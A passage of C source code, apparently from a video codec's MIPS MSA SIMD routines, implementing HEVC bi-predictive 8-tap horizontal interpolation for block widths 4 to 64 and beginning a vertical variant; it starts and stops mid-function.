VSHF_B2_SB(src0, src1, src2, src3, mask3, mask3, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask3, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt3, filt3, filt3, filt3, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_W8(dst0, dst1, 0, 1, 2, 3, 0, 1, 2, 3, dst, dst_stride);
dst += (8 * dst_stride);
}
if (res) {
LD_SB8(src0_ptr, src_stride, src0, src1, src2, src3,
src4, src5, src6, src7);
LD_SH8(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5, in6, in7);
ILVR_D2_SH(in1, in0, in3, in2, in0, in1);
ILVR_D2_SH(in5, in4, in7, in6, in2, in3);
XORI_B8_128_SB(src0, src1, src2, src3, src4, src5, src6, src7);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src1, src2, src3, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src1, src2, src3, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src1, src2, src3, mask2, mask2, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask2, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt2, filt2, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src1, src2, src3, mask3, mask3, vec0, vec1);
VSHF_B2_SB(src4, src5, src6, src7, mask3, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt3, filt3, filt3, filt3, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
if (res == 2) {
ST_W2(dst0, 0, 1, dst, dst_stride);
} else if (res == 4) {
ST_W4(dst0, 0, 1, 2, 3, dst, dst_stride);
} else {
ST_W4(dst0, 0, 1, 2, 3, dst, dst_stride);
dst += (4 * dst_stride);
ST_W2(dst1, 0, 1, dst, dst_stride);
}
}
}
static void hevc_hz_bi_8t_8w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v8i16 filt0, filt1, filt2, filt3;
v16i8 src0, src1, src2, src3;
v16i8 mask1, mask2, mask3;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3;
v8i16 in0, in1, in2, in3;
v8i16 filter_vec, const_vec;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
src0_ptr -= 3;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src0, src1, src2, src3);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
XORI_B4_128_SB(src0, src1, src2, src3);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask2, mask2, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask2, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt2, filt2, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask3, mask3, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask3, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt3, filt3, filt3, filt3, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_D4(dst0, dst1, 0, 1, 0, 1, dst, dst_stride);
dst += (4 * dst_stride);
}
}
static void hevc_hz_bi_8t_12w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
int32_t tmp0, tmp1;
int64_t tmp2, tmp3;
v16i8 src0, src1, src2, src3;
v16i8 vec0, vec1, vec2;
v8i16 filt0, filt1, filt2, filt3;
v16i8 mask0, mask1, mask2, mask3, mask4, mask5, mask6, mask7;
v8i16 dst0, dst1, dst2;
v8i16 in0, in1, in2, in3;
v8i16 filter_vec, const_vec;
src0_ptr -= 3;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
mask0 = LD_SB(ff_hevc_mask_arr);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
mask4 = LD_SB(&ff_hevc_mask_arr[16]);
mask5 = mask4 + 2;
mask6 = mask4 + 4;
mask7 = mask4 + 6;
for (loop_cnt = 8; loop_cnt--;) {
LD_SB2(src0_ptr, 8, src0, src1);
src0_ptr += src_stride;
LD_SB2(src0_ptr, 8, src2, src3);
src0_ptr += src_stride;
LD_SH2(src1_ptr, 8, in0, in1);
src1_ptr += src2_stride;
LD_SH2(src1_ptr, 8, in2, in3);
src1_ptr += src2_stride;
XORI_B4_128_SB(src0, src1, src2, src3);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
VSHF_B3_SB(src0, src0, src1, src3, src2, src2, mask0, mask4, mask0,
vec0, vec1, vec2);
DPADD_SB2_SH(vec0, vec1, filt0, filt0, dst0, dst1);
dst2 = __msa_dpadd_s_h(dst2, vec2, (v16i8) filt0);
VSHF_B3_SB(src0, src0, src1, src3, src2, src2, mask1, mask5, mask1,
vec0, vec1, vec2);
DPADD_SB2_SH(vec0, vec1, filt1, filt1, dst0, dst1);
dst2 = __msa_dpadd_s_h(dst2, vec2, (v16i8) filt1);
VSHF_B3_SB(src0, src0, src1, src3, src2, src2, mask2, mask6, mask2,
vec0, vec1, vec2);
DPADD_SB2_SH(vec0, vec1, filt2, filt2, dst0, dst1);
dst2 = __msa_dpadd_s_h(dst2, vec2, (v16i8) filt2);
VSHF_B3_SB(src0, src0, src1, src3, src2, src2, mask3, mask7, mask3,
vec0, vec1, vec2);
DPADD_SB2_SH(vec0, vec1, filt3, filt3, dst0, dst1);
dst2 = __msa_dpadd_s_h(dst2, vec2, (v16i8) filt3);
in1 = (v8i16) __msa_pckev_d((v2i64) in3, (v2i64) in1);
HEVC_BI_RND_CLIP2(in0, in1, dst0, dst1, 7, dst0, dst1);
dst2 = __msa_adds_s_h(in2, dst2);
dst2 = __msa_srari_h(dst2, 7);
CLIP_SH_0_255(dst2);
PCKEV_B2_SH(dst1, dst0, dst2, dst2, dst0, dst1);
tmp2 = __msa_copy_s_d((v2i64) dst0, 0);
tmp0 = __msa_copy_s_w((v4i32) dst0, 2);
tmp3 = __msa_copy_s_d((v2i64) dst1, 0);
tmp1 = __msa_copy_s_w((v4i32) dst0, 3);
SD(tmp2, dst);
SW(tmp0, dst + 8);
dst += dst_stride;
SD(tmp3, dst);
SW(tmp1, dst + 8);
dst += dst_stride;
}
}
static void hevc_hz_bi_8t_16w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v16i8 src0, src1, src2, src3;
v8i16 filt0, filt1, filt2, filt3;
v16i8 mask1, mask2, mask3;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3;
v8i16 in0, in1, in2, in3;
v8i16 filter_vec, const_vec;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
src0_ptr -= 3;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
for (loop_cnt = (height >> 1); loop_cnt--;) {
LD_SB2(src0_ptr, 8, src0, src1);
src0_ptr += src_stride;
LD_SB2(src0_ptr, 8, src2, src3);
src0_ptr += src_stride;
LD_SH2(src1_ptr, 8, in0, in1);
src1_ptr += src2_stride;
LD_SH2(src1_ptr, 8, in2, in3);
src1_ptr += src2_stride;
XORI_B4_128_SB(src0, src1, src2, src3);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src1, src1, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask2, mask2, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask2, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt2, filt2, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src1, src1, mask3, mask3, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask3, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt3, filt3, filt3, filt3, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_SH2(dst0, dst1, dst, dst_stride);
dst += (2 * dst_stride);
}
}
static void hevc_hz_bi_8t_24w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
uint64_t dst_val0;
v16i8 src0, src1, tmp0, tmp1;
v8i16 filt0, filt1, filt2, filt3;
v16i8 mask1, mask2, mask3, mask4, mask5, mask6, mask7;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2;
v8i16 in0, in1, in2;
v8i16 filter_vec, const_vec;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
src0_ptr = src0_ptr - 3;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
mask4 = mask0 + 8;
mask5 = mask0 + 10;
mask6 = mask0 + 12;
mask7 = mask0 + 14;
for (loop_cnt = height; loop_cnt--;) {
LD_SB2(src0_ptr, 16, src0, src1);
src0_ptr += src_stride;
LD_SH2(src1_ptr, 8, in0, in1);
in2 = LD_SH(src1_ptr + 16);
src1_ptr += src2_stride;
XORI_B2_128_SB(src0, src1);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
VSHF_B2_SB(src0, src0, src0, src1, mask0, mask4, vec0, vec1);
VSHF_B2_SB(src1, src1, src0, src0, mask0, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt1, dst0,
dst1, dst2, dst0);
VSHF_B2_SB(src0, src1, src1, src1, mask5, mask1, vec0, vec1);
VSHF_B2_SB(src0, src0, src0, src1, mask2, mask6, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt2, filt2, dst1,
dst2, dst0, dst1);
VSHF_B2_SB(src1, src1, src0, src0, mask2, mask3, vec0, vec1);
VSHF_B2_SB(src0, src1, src1, src1, mask7, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt3, filt3, filt3, dst2,
dst0, dst1, dst2);
HEVC_BI_RND_CLIP2(in0, in1, dst0, dst1, 7, dst0, dst1);
dst2 = __msa_adds_s_h(dst2, in2);
dst2 = __msa_srari_h(dst2, 7);
CLIP_SH_0_255(dst2);
PCKEV_B2_SB(dst1, dst0, dst2, dst2, tmp0, tmp1);
dst_val0 = __msa_copy_u_d((v2i64) tmp1, 0);
ST_SB(tmp0, dst);
SD(dst_val0, dst + 16);
dst += dst_stride;
}
}
static void hevc_hz_bi_8t_32w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v16i8 src0, src1, src2, tmp0, tmp1;
v8i16 filt0, filt1, filt2, filt3;
v16i8 mask1, mask2, mask3, mask4, mask5, mask6, mask7;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3;
v8i16 in0, in1, in2, in3;
v8i16 filter_vec, const_vec;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
src0_ptr -= 3;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
mask4 = mask0 + 8;
mask5 = mask0 + 10;
mask6 = mask0 + 12;
mask7 = mask0 + 14;
for (loop_cnt = height; loop_cnt--;) {
LD_SB2(src0_ptr, 16, src0, src1);
src2 = LD_SB(src0_ptr + 24);
src0_ptr += src_stride;
LD_SH4(src1_ptr, 8, in0, in1, in2, in3);
src1_ptr += src2_stride;
XORI_B3_128_SB(src0, src1, src2);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src0, src1, mask0, mask4, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask1, mask5, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask2, mask6, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask2, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt2, filt2, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask3, mask7, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask3, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt3, filt3, filt3, filt3, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SB(dst1, dst0, dst3, dst2, tmp0, tmp1);
ST_SB2(tmp0, tmp1, dst, 16);
dst += dst_stride;
}
}
static void hevc_hz_bi_8t_48w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v16i8 src0, src1, src2, src3;
v16i8 tmp0, tmp1, tmp2;
v8i16 filt0, filt1, filt2, filt3;
v16i8 mask1, mask2, mask3, mask4, mask5, mask6, mask7;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5;
v8i16 in0, in1, in2, in3, in4, in5;
v8i16 filter_vec, const_vec;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
src0_ptr -= 3;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
mask4 = mask0 + 8;
mask5 = mask0 + 10;
mask6 = mask0 + 12;
mask7 = mask0 + 14;
for (loop_cnt = 64; loop_cnt--;) {
LD_SB3(src0_ptr, 16, src0, src1, src2);
src3 = LD_SB(src0_ptr + 40);
src0_ptr += src_stride;
LD_SH4(src1_ptr, 8, in0, in1, in2, in3);
XORI_B4_128_SB(src0, src1, src2, src3);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src0, src1, mask0, mask4, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src2, mask0, mask4, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask1, mask5, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src2, mask1, mask5, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask2, mask6, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src2, mask2, mask6, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt2, filt2, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask3, mask7, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src2, mask3, mask7, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt3, filt3, filt3, filt3, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP2(in0, in1, dst0, dst1, 7, dst0, dst1);
HEVC_BI_RND_CLIP2(in2, in3, dst2, dst3, 7, dst2, dst3);
PCKEV_B2_SB(dst1, dst0, dst3, dst2, tmp0, tmp1);
ST_SB(tmp0, dst);
ST_SB(tmp1, dst + 16);
LD_SH2(src1_ptr + 32, 8, in4, in5);
src1_ptr += src2_stride;
dst4 = const_vec;
dst5 = const_vec;
VSHF_B2_SB(src2, src2, src3, src3, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt1, filt1, dst4,
dst5, dst4, dst5);
VSHF_B2_SB(src2, src2, src3, src3, mask2, mask2, vec0, vec1);
VSHF_B2_SB(src2, src2, src3, src3, mask3, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt3, filt3, dst4,
dst5, dst4, dst5);
HEVC_BI_RND_CLIP2(in4, in5, dst4, dst5, 7, dst4, dst5);
tmp2 = __msa_pckev_b((v16i8) dst5, (v16i8) dst4);
ST_SB(tmp2, dst + 32);
dst += dst_stride;
}
}
static void hevc_hz_bi_8t_64w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5, tmp0, tmp1;
v8i16 filt0, filt1, filt2, filt3;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
v16i8 mask1, mask2, mask3, mask4, mask5, mask6, mask7;
v16i8 vec0, vec1, vec2, vec3;
v8i16 dst0, dst1, dst2, dst3;
v8i16 in0, in1, in2, in3;
v8i16 filter_vec, const_vec;
src0_ptr -= 3;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
mask4 = mask0 + 8;
mask5 = mask0 + 10;
mask6 = mask0 + 12;
mask7 = mask0 + 14;
for (loop_cnt = height; loop_cnt--;) {
LD_SB2(src0_ptr, 16, src0, src1);
src2 = LD_SB(src0_ptr + 24);
LD_SB2(src0_ptr + 32, 16, src3, src4);
src5 = LD_SB(src0_ptr + 56);
LD_SH4(src1_ptr, 8, in0, in1, in2, in3);
XORI_B3_128_SB(src0, src1, src2);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src0, src1, mask0, mask4, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask1, mask5, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask2, mask6, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask2, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt2, filt2, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask3, mask7, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask3, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt3, filt3, filt3, filt3, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7,
dst0, dst1, dst2, dst3);
PCKEV_B2_SB(dst1, dst0, dst3, dst2, tmp0, tmp1);
ST_SB2(tmp0, tmp1, dst, 16);
src0 = src3;
src1 = src4;
src2 = src5;
LD_SH4(src1_ptr + 32, 8, in0, in1, in2, in3);
XORI_B3_128_SB(src0, src1, src2);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src0, src1, mask0, mask4, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask1, mask5, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask2, mask6, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask2, mask2, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt2, filt2, filt2, filt2, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask3, mask7, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask3, mask3, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt3, filt3, filt3, filt3, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7,
dst0, dst1, dst2, dst3);
PCKEV_B2_SB(dst1, dst0, dst3, dst2, tmp0, tmp1);
ST_SB2(tmp0, tmp1, dst + 32, 16);
src1_ptr += src2_stride;
src0_ptr += src_stride;
dst += dst_stride;
}
}
static void hevc_vt_bi_8t_4w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
int32_t loop_cnt;
int32_t res = height & 0x07;
v16i8 src0, src1, src2, src3, src4, src5;
v16i8 src6, src7, src8, src9, src10;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v16i8 src11, src12, src13, src14;
v16i8 src10_r, src32_r, src54_r, src76_r, src98_r;
v16i8 src21_r, src43_r, src65_r, src87_r, src109_r;
v16i8 src1110_r, src1211_r, src1312_r, src1413_r;
v16i8 src2110, src4332, src6554, src8776, src10998;
v16i8 src12111110, src14131312;
v8i16 dst10, dst32, dst54, dst76;
v8i16 filt0, filt1, filt2, filt3;
v8i16 filter_vec, const_vec;
src0_ptr -= (3 * src_stride);
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
LD_SB7(src0_ptr, src_stride, src0, src1, src2, src3, src4, src5, src6);
src0_ptr += (7 * src_stride);
ILVR_B4_SB(src1, src0, src3, src2, src5, src4, src2, src1,
src10_r, src32_r, src54_r, src21_r);
ILVR_B2_SB(src4, src3, src6, src5, src43_r, src65_r);
ILVR_D3_SB(src21_r, src10_r, src43_r, src32_r, src65_r, src54_r,
src2110, src4332, src6554);
XORI_B3_128_SB(src2110, src4332, src6554);
for (loop_cnt = (height >> 3); loop_cnt--;) {
LD_SB8(src0_ptr, src_stride,
src7, src8, src9, src10, src11, src12, src13, src14);
src0_ptr += (8 * src_stride);
LD_SH8(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5, in6, in7);
src1_ptr += (8 * src2_stride);
ILVR_D2_SH(in1, in0, in3, in2, in0, in1);
ILVR_D2_SH(in5, in4, in7, in6, in2, in3);
ILVR_B4_SB(src7, src6, src8, src7, src9, src8, src10, src9,
src76_r, src87_r, src98_r, src109_r);
ILVR_B4_SB(src11, src10, src12, src11, src13, src12, src14, src13,
src1110_r, src1211_r, src1312_r, src1413_r);
ILVR_D4_SB(src87_r, src76_r, src109_r, src98_r, src1211_r, src1110_r,
src1413_r, src1312_r,
src8776, src10998, src12111110, src14131312);
XORI_B4_128_SB(src8776, src10998, src12111110, src14131312);
dst10 = const_vec;
DPADD_SB4_SH(src2110, src4332, src6554, src8776,
filt0, filt1, filt2, filt3, dst10, dst10, dst10, dst10);
dst32 = const_vec;
DPADD_SB4_SH(src4332, src6554, src8776, src10998,
filt0, filt1, filt2, filt3, dst32, dst32, dst32, dst32);
dst54 = const_vec;
DPADD_SB4_SH(src6554, src8776, src10998, src12111110,
filt0, filt1, filt2, filt3, dst54, dst54, dst54, dst54);
dst76 = const_vec;
DPADD_SB4_SH(src8776, src10998, src12111110, src14131312,
filt0, filt1, filt2, filt3, dst76, dst76, dst76, dst76);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst10, dst32, dst54, dst76, 7,
dst10, dst32, dst54, dst76);
PCKEV_B2_SH(dst32, dst10, dst76, dst54, dst10, dst54);
ST_W8(dst10, dst54, 0, 1, 2, 3, 0, 1, 2, 3, dst, dst_stride);
dst += (8 * dst_stride);
src2110 = src10998;
src4332 = src12111110;
src6554 = src14131312;
src6 = src14;
}
if (res) {
LD_SB8(src0_ptr, src_stride,
src7, src8, src9, src10, src11, src12, src13, src14);
LD_SH8(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5, in6, in7);
ILVR_D2_SH(in1, in0, in3, in2, in0, in1);
ILVR_D2_SH(in5, in4, in7, in6, in2, in3);
ILVR_B4_SB(src7, src6, src8, src7, src9, src8, src10, src9,
src76_r, src87_r, src98_r, src109_r);
ILVR_B4_SB(src11, src10, src12, src11, src13, src12, src14, src13,
src1110_r, src1211_r, src1312_r, src1413_r);
ILVR_D4_SB(src87_r, src76_r, src109_r, src98_r, src1211_r, src1110_r,
src1413_r, src1312_r,
src8776, src10998, src12111110, src14131312);
XORI_B4_128_SB(src8776, src10998, src12111110, src14131312);
dst10 = const_vec;
DPADD_SB4_SH(src2110, src4332, src6554, src8776,
filt0, filt1, filt2, filt3, dst10, dst10, dst10, dst10);
dst32 = const_vec;
DPADD_SB4_SH(src4332, src6554, src8776, src10998,
